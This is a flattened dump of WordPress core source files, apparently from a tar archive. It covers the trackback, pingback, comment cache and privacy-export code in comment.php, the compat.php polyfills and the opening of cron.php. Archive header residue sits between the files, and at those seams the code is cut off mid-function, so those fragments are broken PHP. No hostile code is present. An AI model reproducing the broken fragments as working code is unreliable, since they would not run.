$wpdb->posts, array( 'to_ping' => '' ), array( 'ID' => $post->ID ) ); return; } if ( empty( $post->post_excerpt ) ) { /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'the_content', $post->post_content, $post->ID ); } else { /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'the_excerpt', $post->post_excerpt ); } $excerpt = str_replace( ']]>', ']]>', $excerpt ); $excerpt = wp_html_excerpt( $excerpt, 252, '…' ); /** This filter is documented in wp-includes/post-template.php */ $post_title = apply_filters( 'the_title', $post->post_title, $post->ID ); $post_title = strip_tags( $post_title ); if ( $to_ping ) { foreach ( (array) $to_ping as $tb_ping ) { $tb_ping = trim( $tb_ping ); if ( ! in_array( $tb_ping, $pinged, true ) ) { trackback( $tb_ping, $post_title, $excerpt, $post->ID ); $pinged[] = $tb_ping; } else { $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $tb_ping, $post->ID ) ); } } } } /** * Sends pings to all of the ping site services. * * @since 1.2.0 * * @param int $post_id Post ID. * @return int Same as Post ID from parameter */ function generic_ping( $post_id = 0 ) { $services = get_option( 'ping_sites' ); $services = explode( "\n", $services ); foreach ( (array) $services as $service ) { $service = trim( $service ); if ( '' !== $service ) { weblog_ping( $service ); } } return $post_id; } /** * Pings back the links found in a post. * * @since 0.71 * @since 4.7.0 `$post_id` can be a WP_Post object. * * @param string $content Post content to check for links. If empty will retrieve from post. * @param int|WP_Post $post_id Post Object or ID. */ function pingback( $content, $post_id ) { include_once ABSPATH . WPINC . '/class-IXR.php'; include_once ABSPATH . WPINC . '/class-wp-http-ixr-client.php'; // Original code by Mort (http://mort.mine.nu:8080). $post_links = array(); $post = get_post( $post_id ); if ( ! $post ) { return; } $pung = get_pung( $post ); if ( empty( $content ) ) { $content = $post->post_content; } /* * Step 1. * Parsing the post, external links (if any) are stored in the $post_links array. */ $post_links_temp = wp_extract_urls( $content ); /* * Step 2. * Walking through the links array. * First we get rid of links pointing to sites, not to specific files. * Example: * http://dummy-weblog.org * http://dummy-weblog.org/ * http://dummy-weblog.org/post.php * We don't wanna ping first and second types, even if they have a valid . */ foreach ( (array) $post_links_temp as $link_test ) { // If we haven't pung it already and it isn't a link to itself. if ( ! in_array( $link_test, $pung, true ) && ( url_to_postid( $link_test ) != $post->ID ) // Also, let's never ping local attachments. && ! is_local_attachment( $link_test ) ) { $test = parse_url( $link_test ); if ( $test ) { if ( isset( $test['query'] ) ) { $post_links[] = $link_test; } elseif ( isset( $test['path'] ) && ( '/' !== $test['path'] ) && ( '' !== $test['path'] ) ) { $post_links[] = $link_test; } } } } $post_links = array_unique( $post_links ); /** * Fires just before pinging back links found in a post. * * @since 2.0.0 * * @param string[] $post_links Array of link URLs to be checked (passed by reference). * @param string[] $pung Array of link URLs already pinged (passed by reference). * @param int $post_ID The post ID. */ do_action_ref_array( 'pre_ping', array( &$post_links, &$pung, $post->ID ) ); foreach ( (array) $post_links as $pagelinkedto ) { $pingback_server_url = discover_pingback_server_uri( $pagelinkedto ); if ( $pingback_server_url ) { set_time_limit( 60 ); // Now, the RPC call. $pagelinkedfrom = get_permalink( $post ); // Using a timeout of 3 seconds should be enough to cover slow servers. $client = new WP_HTTP_IXR_Client( $pingback_server_url ); $client->timeout = 3; /** * Filters the user agent sent when pinging-back a URL. * * @since 2.9.0 * * @param string $concat_useragent The user agent concatenated with ' -- WordPress/' * and the WordPress version. * @param string $useragent The useragent. * @param string $pingback_server_url The server URL being linked to. * @param string $pagelinkedto URL of page linked to. * @param string $pagelinkedfrom URL of page linked from. */ $client->useragent = apply_filters( 'pingback_useragent', $client->useragent . ' -- WordPress/' . get_bloginfo( 'version' ), $client->useragent, $pingback_server_url, $pagelinkedto, $pagelinkedfrom ); // When set to true, this outputs debug messages by itself. $client->debug = false; if ( $client->query( 'pingback.ping', $pagelinkedfrom, $pagelinkedto ) || ( isset( $client->error->code ) && 48 == $client->error->code ) ) { // Already registered. add_ping( $post, $pagelinkedto ); } } } } /** * Check whether blog is public before returning sites. * * @since 2.1.0 * * @param mixed $sites Will return if blog is public, will not return if not public. * @return mixed Empty string if blog is not public, returns $sites, if site is public. */ function privacy_ping_filter( $sites ) { if ( '0' != get_option( 'blog_public' ) ) { return $sites; } else { return ''; } } /** * Send a Trackback. * * Updates database when sending trackback to prevent duplicates. * * @since 0.71 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $trackback_url URL to send trackbacks. * @param string $title Title of post. * @param string $excerpt Excerpt of post. * @param int $ID Post ID. * @return int|false|void Database query from update. */ function trackback( $trackback_url, $title, $excerpt, $ID ) { global $wpdb; if ( empty( $trackback_url ) ) { return; } $options = array(); $options['timeout'] = 10; $options['body'] = array( 'title' => $title, 'url' => get_permalink( $ID ), 'blog_name' => get_option( 'blogname' ), 'excerpt' => $excerpt, ); $response = wp_safe_remote_post( $trackback_url, $options ); if ( is_wp_error( $response ) ) { return; } $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET pinged = CONCAT(pinged, '\n', %s) WHERE ID = %d", $trackback_url, $ID ) ); return $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $trackback_url, $ID ) ); } /** * Send a pingback. * * @since 1.2.0 * * @param string $server Host of blog to connect to. * @param string $path Path to send the ping. */ function weblog_ping( $server = '', $path = '' ) { include_once ABSPATH . WPINC . '/class-IXR.php'; include_once ABSPATH . WPINC . '/class-wp-http-ixr-client.php'; // Using a timeout of 3 seconds should be enough to cover slow servers. $client = new WP_HTTP_IXR_Client( $server, ( ( ! strlen( trim( $path ) ) || ( '/' === $path ) ) ? false : $path ) ); $client->timeout = 3; $client->useragent .= ' -- WordPress/' . get_bloginfo( 'version' ); // When set to true, this outputs debug messages by itself. $client->debug = false; $home = trailingslashit( home_url() ); if ( ! $client->query( 'weblogUpdates.extendedPing', get_option( 'blogname' ), $home, get_bloginfo( 'rss2_url' ) ) ) { // Then try a normal ping. $client->query( 'weblogUpdates.ping', get_option( 'blogname' ), $home ); } } /** * Default filter attached to pingback_ping_source_uri to validate the pingback's Source URI * * @since 3.5.1 * * @see wp_http_validate_url() * * @param string $source_uri * @return string */ function pingback_ping_source_uri( $source_uri ) { return (string) wp_http_validate_url( $source_uri ); } /** * Default filter attached to xmlrpc_pingback_error. * * Returns a generic pingback error code unless the error code is 48, * which reports that the pingback is already registered. * * @since 3.5.1 * * @link https://www.hixie.ch/specs/pingback/pingback#TOC3 * * @param IXR_Error $ixr_error * @return IXR_Error */ function xmlrpc_pingback_error( $ixr_error ) { if ( 48 === $ixr_error->code ) { return $ixr_error; } return new IXR_Error( 0, '' ); } // // Cache. // /** * Removes a comment from the object cache. * * @since 2.3.0 * * @param int|array $ids Comment ID or an array of comment IDs to remove from cache. */ function clean_comment_cache( $ids ) { foreach ( (array) $ids as $id ) { wp_cache_delete( $id, 'comment' ); /** * Fires immediately after a comment has been removed from the object cache. * * @since 4.5.0 * * @param int $id Comment ID. */ do_action( 'clean_comment_cache', $id ); } wp_cache_set( 'last_changed', microtime(), 'comment' ); } /** * Updates the comment cache of given comments. * * Will add the comments in $comments to the cache. If comment ID already exists * in the comment cache then it will not be updated. The comment is added to the * cache using the comment group with the key using the ID of the comments. * * @since 2.3.0 * @since 4.4.0 Introduced the `$update_meta_cache` parameter. * * @param WP_Comment[] $comments Array of comment objects * @param bool $update_meta_cache Whether to update commentmeta cache. Default true. */ function update_comment_cache( $comments, $update_meta_cache = true ) { foreach ( (array) $comments as $comment ) { wp_cache_add( $comment->comment_ID, $comment, 'comment' ); } if ( $update_meta_cache ) { // Avoid `wp_list_pluck()` in case `$comments` is passed by reference. $comment_ids = array(); foreach ( $comments as $comment ) { $comment_ids[] = $comment->comment_ID; } update_meta_cache( 'comment', $comment_ids ); } } /** * Adds any comments from the given IDs to the cache that do not already exist in cache. * * @since 4.4.0 * @access private * * @see update_comment_cache() * @global wpdb $wpdb WordPress database abstraction object. * * @param int[] $comment_ids Array of comment IDs. * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true. */ function _prime_comment_caches( $comment_ids, $update_meta_cache = true ) { global $wpdb; $non_cached_ids = _get_non_cached_ids( $comment_ids, 'comment' ); if ( ! empty( $non_cached_ids ) ) { $fresh_comments = $wpdb->get_results( sprintf( "SELECT $wpdb->comments.* FROM $wpdb->comments WHERE comment_ID IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) ); update_comment_cache( $fresh_comments, $update_meta_cache ); } } // // Internal. // /** * Close comments on old posts on the fly, without any extra DB queries. Hooked to the_posts. * * @since 2.7.0 * @access private * * @param WP_Post $posts Post data object. * @param WP_Query $query Query object. * @return array */ function _close_comments_for_old_posts( $posts, $query ) { if ( empty( $posts ) || ! $query->is_singular() || ! get_option( 'close_comments_for_old_posts' ) ) { return $posts; } /** * Filters the list of post types to automatically close comments for. * * @since 3.2.0 * * @param string[] $post_types An array of post type names. */ $post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) ); if ( ! in_array( $posts[0]->post_type, $post_types, true ) ) { return $posts; } $days_old = (int) get_option( 'close_comments_days_old' ); if ( ! $days_old ) { return $posts; } if ( time() - strtotime( $posts[0]->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) ) { $posts[0]->comment_status = 'closed'; $posts[0]->ping_status = 'closed'; } return $posts; } /** * Close comments on an old post. Hooked to comments_open and pings_open. * * @since 2.7.0 * @access private * * @param bool $open Comments open or closed. * @param int $post_id Post ID. * @return bool $open */ function _close_comments_for_old_post( $open, $post_id ) { if ( ! $open ) { return $open; } if ( ! get_option( 'close_comments_for_old_posts' ) ) { return $open; } $days_old = (int) get_option( 'close_comments_days_old' ); if ( ! $days_old ) { return $open; } $post = get_post( $post_id ); /** This filter is documented in wp-includes/comment.php */ $post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) ); if ( ! in_array( $post->post_type, $post_types, true ) ) { return $open; } // Undated drafts should not show up as comments closed. if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) { return $open; } if ( time() - strtotime( $post->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) ) { return false; } return $open; } /** * Handles the submission of a comment, usually posted to wp-comments-post.php via a comment form. * * This function expects unslashed data, as opposed to functions such as `wp_new_comment()` which * expect slashed data. * * @since 4.4.0 * * @param array $comment_data { * Comment data. * * @type string|int $comment_post_ID The ID of the post that relates to the comment. * @type string $author The name of the comment author. * @type string $email The comment author email address. * @type string $url The comment author URL. * @type string $comment The content of the comment. * @type string|int $comment_parent The ID of this comment's parent, if any. Default 0. * @type string $_wp_unfiltered_html_comment The nonce value for allowing unfiltered HTML. * } * @return WP_Comment|WP_Error A WP_Comment object on success, a WP_Error object on failure. */ function wp_handle_comment_submission( $comment_data ) { $comment_post_ID = 0; $comment_parent = 0; $user_ID = 0; $comment_author = null; $comment_author_email = null; $comment_author_url = null; $comment_content = null; if ( isset( $comment_data['comment_post_ID'] ) ) { $comment_post_ID = (int) $comment_data['comment_post_ID']; } if ( isset( $comment_data['author'] ) && is_string( $comment_data['author'] ) ) { $comment_author = trim( strip_tags( $comment_data['author'] ) ); } if ( isset( $comment_data['email'] ) && is_string( $comment_data['email'] ) ) { $comment_author_email = trim( $comment_data['email'] ); } if ( isset( $comment_data['url'] ) && is_string( $comment_data['url'] ) ) { $comment_author_url = trim( $comment_data['url'] ); } if ( isset( $comment_data['comment'] ) && is_string( $comment_data['comment'] ) ) { $comment_content = trim( $comment_data['comment'] ); } if ( isset( $comment_data['comment_parent'] ) ) { $comment_parent = absint( $comment_data['comment_parent'] ); } $post = get_post( $comment_post_ID ); if ( empty( $post->comment_status ) ) { /** * Fires when a comment is attempted on a post that does not exist. * * @since 1.5.0 * * @param int $comment_post_ID Post ID. */ do_action( 'comment_id_not_found', $comment_post_ID ); return new WP_Error( 'comment_id_not_found' ); } // get_post_status() will get the parent status for attachments. $status = get_post_status( $post ); if ( ( 'private' === $status ) && ! current_user_can( 'read_post', $comment_post_ID ) ) { return new WP_Error( 'comment_id_not_found' ); } $status_obj = get_post_status_object( $status ); if ( ! comments_open( $comment_post_ID ) ) { /** * Fires when a comment is attempted on a post that has comments closed. * * @since 1.5.0 * * @param int $comment_post_ID Post ID. */ do_action( 'comment_closed', $comment_post_ID ); return new WP_Error( 'comment_closed', __( 'Sorry, comments are closed for this item.' ), 403 ); } elseif ( 'trash' === $status ) { /** * Fires when a comment is attempted on a trashed post. * * @since 2.9.0 * * @param int $comment_post_ID Post ID. */ do_action( 'comment_on_trash', $comment_post_ID ); return new WP_Error( 'comment_on_trash' ); } elseif ( ! $status_obj->public && ! $status_obj->private ) { /** * Fires when a comment is attempted on a post in draft mode. * * @since 1.5.1 * * @param int $comment_post_ID Post ID. */ do_action( 'comment_on_draft', $comment_post_ID ); if ( current_user_can( 'read_post', $comment_post_ID ) ) { return new WP_Error( 'comment_on_draft', __( 'Sorry, comments are not allowed for this item.' ), 403 ); } else { return new WP_Error( 'comment_on_draft' ); } } elseif ( post_password_required( $comment_post_ID ) ) { /** * Fires when a comment is attempted on a password-protected post. * * @since 2.9.0 * * @param int $comment_post_ID Post ID. */ do_action( 'comment_on_password_protected', $comment_post_ID ); return new WP_Error( 'comment_on_password_protected' ); } else { /** * Fires before a comment is posted. * * @since 2.8.0 * * @param int $comment_post_ID Post ID. */ do_action( 'pre_comment_on_post', $comment_post_ID ); } // If the user is logged in. $user = wp_get_current_user(); if ( $user->exists() ) { if ( empty( $user->display_name ) ) { $user->display_name = $user->user_login; } $comment_author = $user->display_name; $comment_author_email = $user->user_email; $comment_author_url = $user->user_url; $user_ID = $user->ID; if ( current_user_can( 'unfiltered_html' ) ) { if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] ) || ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_ID ) ) { kses_remove_filters(); // Start with a clean slate. kses_init_filters(); // Set up the filters. remove_filter( 'pre_comment_content', 'wp_filter_post_kses' ); add_filter( 'pre_comment_content', 'wp_filter_kses' ); } } } else { if ( get_option( 'comment_registration' ) ) { return new WP_Error( 'not_logged_in', __( 'Sorry, you must be logged in to comment.' ), 403 ); } } $comment_type = 'comment'; if ( get_option( 'require_name_email' ) && ! $user->exists() ) { if ( '' == $comment_author_email || '' == $comment_author ) { return new WP_Error( 'require_name_email', __( 'Error: Please fill the required fields (name, email).' ), 200 ); } elseif ( ! is_email( $comment_author_email ) ) { return new WP_Error( 'require_valid_email', __( 'Error: Please enter a valid email address.' ), 200 ); } } $commentdata = compact( 'comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID' ); /** * Filters whether an empty comment should be allowed. * * @since 5.1.0 * * @param bool $allow_empty_comment Whether to allow empty comments. Default false. * @param array $commentdata Array of comment data to be sent to wp_insert_comment(). */ $allow_empty_comment = apply_filters( 'allow_empty_comment', false, $commentdata ); if ( '' === $comment_content && ! $allow_empty_comment ) { return new WP_Error( 'require_valid_comment', __( 'Error: Please type your comment text.' ), 200 ); } $check_max_lengths = wp_check_comment_data_max_lengths( $commentdata ); if ( is_wp_error( $check_max_lengths ) ) { return $check_max_lengths; } $comment_id = wp_new_comment( wp_slash( $commentdata ), true ); if ( is_wp_error( $comment_id ) ) { return $comment_id; } if ( ! $comment_id ) { return new WP_Error( 'comment_save_error', __( 'Error: The comment could not be saved. Please try again later.' ), 500 ); } return get_comment( $comment_id ); } /** * Registers the personal data exporter for comments. * * @since 4.9.6 * * @param array $exporters An array of personal data exporters. * @return array An array of personal data exporters. */ function wp_register_comment_personal_data_exporter( $exporters ) { $exporters['wordpress-comments'] = array( 'exporter_friendly_name' => __( 'WordPress Comments' ), 'callback' => 'wp_comments_personal_data_exporter', ); return $exporters; } /** * Finds and exports personal data associated with an email address from the comments table. * * @since 4.9.6 * * @param string $email_address The comment author email address. * @param int $page Comment page. * @return array An array of personal data. */ function wp_comments_personal_data_exporter( $email_address, $page = 1 ) { // Limit us to 500 comments at a time to avoid timing out. $number = 500; $page = (int) $page; $data_to_export = array(); $comments = get_comments( array( 'author_email' => $email_address, 'number' => $number, 'paged' => $page, 'order_by' => 'comment_ID', 'order' => 'ASC', 'update_comment_meta_cache' => false, ) ); $comment_prop_to_export = array( 'comment_author' => __( 'Comment Author' ), 'comment_author_email' => __( 'Comment Author Email' ), 'comment_author_url' => __( 'Comment Author URL' ), 'comment_author_IP' => __( 'Comment Author IP' ), 'comment_agent' => __( 'Comment Author User Agent' ), 'comment_date' => __( 'Comment Date' ), 'comment_content' => __( 'Comment Content' ), 'comment_link' => __( 'Comment URL' ), ); foreach ( (array) $comments as $comment ) { $comment_data_to_export = array(); foreach ( $comment_prop_to_export as $key => $name ) { $value = ''; switch ( $key ) { case 'comment_author': case 'comment_author_email': case 'comment_author_url': case 'comment_author_IP': case 'comment_agent': case 'comment_date': $value = $comment->{$key}; break; case 'comment_content': $value = get_comment_text( $comment->comment_ID ); break; case 'comment_link': $value = get_comment_link( $comment->comment_ID ); $value = sprintf( '%s', esc_url( $value ), esc_html( $value ) ); break; } if ( ! empty( $value ) ) { $comment_data_to_export[] = array( 'name' => $name, 'value' => $value, ); } } $data_to_export[] = array( 'group_id' => 'comments', 'group_label' => __( 'Comments' ), 'group_description' => __( 'User’s comment data.' ), 'item_id' => "comment-{$comment->comment_ID}", 'data' => $comment_data_to_export, ); } $done = count( $comments ) < $number; return array( 'data' => $data_to_export, 'done' => $done, ); } /** * Registers the personal data eraser for comments. * * @since 4.9.6 * * @param array $erasers An array of personal data erasers. * @return array An array of personal data erasers. */ function wp_register_comment_personal_data_eraser( $erasers ) { $erasers['wordpress-comments'] = array( 'eraser_friendly_name' => __( 'WordPress Comments' ), 'callback' => 'wp_comments_personal_data_eraser', ); return $erasers; } /** * Erases personal data associated with an email address from the comments table. * * @since 4.9.6 * * @param string $email_address The comment author email address. * @param int $page Comment page. * @return array */ function wp_comments_personal_data_eraser( $email_address, $page = 1 ) { global $wpdb; if ( empty( $email_address ) ) { return array( 'items_removed' => false, 'items_retained' => false, 'messages' => array(), 'done' => true, ); } // Limit us to 500 comments at a time to avoid timing out. $number = 500; $page = (int) $page; $items_removed = false; $items_retained = false; $comments = get_comments( array( 'author_email' => $email_address, 'number' => $number, 'paged' => $page, 'order_by' => 'comment_ID', 'order' => 'ASC', 'include_unapproved' => true, ) ); /* translators: Name of a comment's author after being anonymized. */ $anon_author = __( 'Anonymous' ); $messages = array(); foreach ( (array) $comments as $comment ) { $anonymized_comment = array(); $anonymized_comment['comment_agent'] = ''; $anonymized_comment['comment_author'] = $anon_author; $anonymized_comment['comment_author_email'] = ''; $anonymized_comment['comment_author_IP'] = wp_privacy_anonymize_data( 'ip', $comment->comment_author_IP ); $anonymized_comment['comment_author_url'] = ''; $anonymized_comment['user_id'] = 0; $comment_id = (int) $comment->comment_ID; /** * Filters whether to anonymize the comment. * * @since 4.9.6 * * @param bool|string $anon_message Whether to apply the comment anonymization (bool) or a custom * message (string). Default true. * @param WP_Comment $comment WP_Comment object. * @param array $anonymized_comment Anonymized comment data. */ $anon_message = apply_filters( 'wp_anonymize_comment', true, $comment, $anonymized_comment ); if ( true !== $anon_message ) { if ( $anon_message && is_string( $anon_message ) ) { $messages[] = esc_html( $anon_message ); } else { /* translators: %d: Comment ID. */ $messages[] = sprintf( __( 'Comment %d contains personal data but could not be anonymized.' ), $comment_id ); } $items_retained = true; continue; } $args = array( 'comment_ID' => $comment_id, ); $updated = $wpdb->update( $wpdb->comments, $anonymized_comment, $args ); if ( $updated ) { $items_removed = true; clean_comment_cache( $comment_id ); } else { $items_retained = true; } } $done = count( $comments ) < $number; return array( 'items_removed' => $items_removed, 'items_retained' => $items_retained, 'messages' => $messages, 'done' => $done, ); } /** * Sets the last changed time for the 'comment' cache group. * * @since 5.0.0 */ function wp_cache_set_comments_last_changed() { wp_cache_set( 'last_changed', microtime(), 'comment' ); } /** * Updates the comment type for a batch of comments. * * @since 5.5.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function _wp_batch_update_comment_type() { global $wpdb; $lock_name = 'update_comment_type.lock'; // Try to lock. $lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_name, time() ) ); if ( ! $lock_result ) { $lock_result = get_option( $lock_name ); // Bail if we were unable to create a lock, or if the existing lock is still valid. if ( ! $lock_result || ( $lock_result > ( time() - HOUR_IN_SECONDS ) ) ) { wp_schedule_single_event( time() + ( 5 * MINUTE_IN_SECONDS ), 'wp_update_comment_type_batch' ); return; } } // Update the lock, as by this point we've definitely got a lock, just need to fire the actions. update_option( $lock_name, time() ); // Check if there's still an empty comment type. $empty_comment_type = $wpdb->get_var( "SELECT comment_ID FROM $wpdb->comments WHERE comment_type = '' LIMIT 1" ); // No empty comment type, we're done here. if ( ! $empty_comment_type ) { update_option( 'finished_updating_comment_type', true ); delete_option( $lock_name ); return; } // Empty comment type found? We'll need to run this script again. wp_schedule_single_event( time() + ( 2 * MINUTE_IN_SECONDS ), 'wp_update_comment_type_batch' ); /** * Filters the comment batch size for updating the comment type. * * @since 5.5.0 * * @param int $comment_batch_size The comment batch size. Default 100. */ $comment_batch_size = (int) apply_filters( 'wp_update_comment_type_batch_size', 100 ); // Get the IDs of the comments to update. $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM {$wpdb->comments} WHERE comment_type = '' ORDER BY comment_ID DESC LIMIT %d", $comment_batch_size ) ); if ( $comment_ids ) { $comment_id_list = implode( ',', $comment_ids ); // Update the `comment_type` field value to be `comment` for the next batch of comments. $wpdb->query( "UPDATE {$wpdb->comments} SET comment_type = 'comment' WHERE comment_type = '' AND comment_ID IN ({$comment_id_list})" // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared ); // Make sure to clean the comment cache. clean_comment_cache( $comment_ids ); } delete_option( $lock_name ); } /** * In order to avoid the _wp_batch_update_comment_type() job being accidentally removed, * check that it's still scheduled while we haven't finished updating comment types. * * @ignore * @since 5.5.0 */ function _wp_check_for_scheduled_update_comment_type() { if ( ! get_option( 'finished_updating_comment_type' ) && ! wp_next_scheduled( 'wp_update_comment_type_batch' ) ) { wp_schedule_single_event( time() + MINUTE_IN_SECONDS, 'wp_update_comment_type_batch' ); } } compat.php000064400000026730151202620300006537 0ustar00 1 && $str = array_pop( $pieces ) ); return implode( '', array_slice( $chars, $start, $length ) ); } if ( ! function_exists( 'mb_strlen' ) ) : /** * Compat function to mimic mb_strlen(). * * @ignore * @since 4.2.0 * * @see _mb_strlen() * * @param string $str The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$str`. */ function mb_strlen( $str, $encoding = null ) { return _mb_strlen( $str, $encoding ); } endif; /** * Internal compat function to mimic mb_strlen(). * * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit. * For $encoding === UTF-8, the `$str` input is expected to be a valid UTF-8 byte * sequence. The behavior of this function for invalid inputs is undefined. * * @ignore * @since 4.2.0 * * @param string $str The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$str`. */ function _mb_strlen( $str, $encoding = null ) { if ( null === $encoding ) { $encoding = get_option( 'blog_charset' ); } /* * The solution below works only for UTF-8, so in case of a different charset * just use built-in strlen(). */ if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) { return strlen( $str ); } if ( _wp_can_use_pcre_u() ) { // Use the regex unicode support to separate the UTF-8 characters into an array. preg_match_all( '/./us', $str, $match ); return count( $match[0] ); } $regex = '/(?: [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} )/x'; // Start at 1 instead of 0 since the first thing we do is decrement. $count = 1; do { // We had some string left over from the last round, but we counted it in that last round. $count--; /* * Split by UTF-8 character, limit to 1000 characters (last array element will contain * the rest of the string). */ $pieces = preg_split( $regex, $str, 1000 ); // Increment. $count += count( $pieces ); // If there's anything left over, repeat the loop. } while ( $str = array_pop( $pieces ) ); // Fencepost: preg_split() always returns one extra item in the array. return --$count; } if ( ! function_exists( 'hash_hmac' ) ) : /** * Compat function to mimic hash_hmac(). * * The Hash extension is bundled with PHP by default since PHP 5.1.2. * However, the extension may be explicitly disabled on select servers. * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no * longer be disabled. * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill * and the associated `_hash_hmac()` function can be safely removed. * * @ignore * @since 3.2.0 * * @see _hash_hmac() * * @param string $algo Hash algorithm. Accepts 'md5' or 'sha1'. * @param string $data Data to be hashed. * @param string $key Secret key to use for generating the hash. * @param bool $raw_output Optional. Whether to output raw binary data (true), * or lowercase hexits (false). Default false. * @return string|false The hash in output determined by `$raw_output`. False if `$algo` * is unknown or invalid. */ function hash_hmac( $algo, $data, $key, $raw_output = false ) { return _hash_hmac( $algo, $data, $key, $raw_output ); } endif; /** * Internal compat function to mimic hash_hmac(). * * @ignore * @since 3.2.0 * * @param string $algo Hash algorithm. Accepts 'md5' or 'sha1'. * @param string $data Data to be hashed. * @param string $key Secret key to use for generating the hash. * @param bool $raw_output Optional. Whether to output raw binary data (true), * or lowercase hexits (false). Default false. * @return string|false The hash in output determined by `$raw_output`. False if `$algo` * is unknown or invalid. */ function _hash_hmac( $algo, $data, $key, $raw_output = false ) { $packs = array( 'md5' => 'H32', 'sha1' => 'H40', ); if ( ! isset( $packs[ $algo ] ) ) { return false; } $pack = $packs[ $algo ]; if ( strlen( $key ) > 64 ) { $key = pack( $pack, $algo( $key ) ); } $key = str_pad( $key, 64, chr( 0 ) ); $ipad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x36 ), 64 ) ); $opad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x5C ), 64 ) ); $hmac = $algo( $opad . pack( $pack, $algo( $ipad . $data ) ) ); if ( $raw_output ) { return pack( $pack, $hmac ); } return $hmac; } if ( ! function_exists( 'hash_equals' ) ) : /** * Timing attack safe string comparison * * Compares two strings using the same time whether they're equal or not. * * Note: It can leak the length of a string when arguments of differing length are supplied. * * This function was added in PHP 5.6. * However, the Hash extension may be explicitly disabled on select servers. * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no * longer be disabled. * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill * can be safely removed. * * @since 3.9.2 * * @param string $a Expected string. * @param string $b Actual, user supplied, string. * @return bool Whether strings are equal. */ function hash_equals( $a, $b ) { $a_length = strlen( $a ); if ( strlen( $b ) !== $a_length ) { return false; } $result = 0; // Do not attempt to "optimize" this. for ( $i = 0; $i < $a_length; $i++ ) { $result |= ord( $a[ $i ] ) ^ ord( $b[ $i ] ); } return 0 === $result; } endif; // random_int() was introduced in PHP 7.0. if ( ! function_exists( 'random_int' ) ) { require ABSPATH . WPINC . '/random_compat/random.php'; } // sodium_crypto_box() was introduced in PHP 7.2. if ( ! function_exists( 'sodium_crypto_box' ) ) { require ABSPATH . WPINC . '/sodium_compat/autoload.php'; } if ( ! function_exists( 'is_countable' ) ) { /** * Polyfill for is_countable() function added in PHP 7.3. * * Verify that the content of a variable is an array or an object * implementing the Countable interface. * * @since 4.9.6 * * @param mixed $var The value to check. * @return bool True if `$var` is countable, false otherwise. */ function is_countable( $var ) { return ( is_array( $var ) || $var instanceof Countable || $var instanceof SimpleXMLElement || $var instanceof ResourceBundle ); } } if ( ! function_exists( 'is_iterable' ) ) { /** * Polyfill for is_iterable() function added in PHP 7.1. * * Verify that the content of a variable is an array or an object * implementing the Traversable interface. * * @since 4.9.6 * * @param mixed $var The value to check. * @return bool True if `$var` is iterable, false otherwise. */ function is_iterable( $var ) { return ( is_array( $var ) || $var instanceof Traversable ); } } cron.php000064400000117306151202620300006215 0ustar00 $hook, 'timestamp' => $timestamp, 'schedule' => false, 'args' => $args, ); /** * Filter to preflight or hijack scheduling an event. * * Returning a non-null value will short-circuit adding the event to the * cron array, causing the function to return the filtered value instead. * * Both single events and recurring events are passed through this filter; * single events have `$event->schedule` as false, whereas recurring events * have this set to a recurrence from wp_get_schedules(). Recurring * events also have the integer recurrence interval set as `$event->interval`. * * For plugins replacing wp-cron, it is recommended you check for an * identical event within ten minutes and apply the {@see 'schedule_event'} * filter to check if another plugin has disallowed the event before scheduling. * * Return true if the event was scheduled, false or a WP_Error if not. * * @since 5.1.0 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned. * * @param null|bool|WP_Error $pre Value to return instead. Default null to continue adding the event. * @param stdClass $event { * An object containing an event's data. * * @type string $hook Action hook to execute when the event is run. * @type int $timestamp Unix timestamp (UTC) for when to next run the event. * @type string|false $schedule How often the event should subsequently recur. * @type array $args Array containing each separate argument to pass to the hook's callback function. * @type int $interval The interval time in seconds for the schedule. Only present for recurring events. * } * @param bool $wp_error Whether to return a WP_Error on failure. */ $pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error ); if ( null !== 